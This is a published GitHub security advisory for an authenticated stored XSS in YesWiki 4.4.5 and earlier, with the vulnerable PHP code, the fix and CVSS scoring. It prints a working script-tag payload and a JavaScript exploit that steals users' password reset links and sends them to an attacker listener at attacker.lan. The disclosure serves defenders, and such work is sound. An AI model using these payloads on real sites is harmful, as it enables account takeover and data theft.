Skip to content

Authenticated Stored XSS in YesWiki

High severity GitHub Reviewed Published Jan 21, 2025 in YesWiki/yeswiki • Updated Jan 21, 2025

Package

composer yeswiki/yeswiki (Composer)

Affected versions

<= 4.4.5

Patched versions

4.5.0

Description

Authenticated Stored XSS in YesWiki <= 4.4.5

Summary

It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.

This Proof of Concept has been performed using the followings:

  • YesWiki v4.4.5 (doryphore-dev branch, latest)
  • Docker environnment (docker/docker-compose.yml)
  • Docker v27.5.0
  • Default installation

Details

The vulnerability makes use of the content edition feature and more specifically of the {{attach}} component allowing users to attach files/medias to a page. When a file is attached using the {{attach}} component, if the resource contained in the file attribute doesn't exist, then the server will generate a file upload button containing the filename.

This part of the code is managed in tools/attach/libs/attach.lib.php and the faulty function is showFileNotExits().

public function showFileNotExits()
{
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}

The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.

PoC

1. Simple XSS

Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}} tha works in pages and comments:

On a comment:

poc1
poc2

On a page:

poc3
poc4

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Posting a comment using this specially crafted payload with a user account:

poc5

Allows our administrator account's password reset link to be sent to the listener of the attacker:

poc7
poc8

Therefore giving us access to an successful password reset for any account triggering the XSS:

poc9

Impact

This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

  • Sanitize properly the filename attribute
public function showFileNotExits()
{
    $filename = htmlspecialchars($this->file);
    echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
  • Implement a stronger password reset mechanism through:

    • Not showing a password reset link to an already logged-in user.
    • Generating a password reset link when a reset is requested by a user, and only send it by mail.
    • Add an expiration/due date to the token
  • Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)

The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.

References

@mrflos mrflos published to YesWiki/yeswiki Jan 21, 2025
Published by the National Vulnerability Database Jan 21, 2025
Published to the GitHub Advisory Database Jan 21, 2025
Reviewed Jan 21, 2025
Last updated Jan 21, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Weaknesses

CVE ID

CVE-2025-24018

GHSA ID

GHSA-w59h-3x3q-3p6j

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.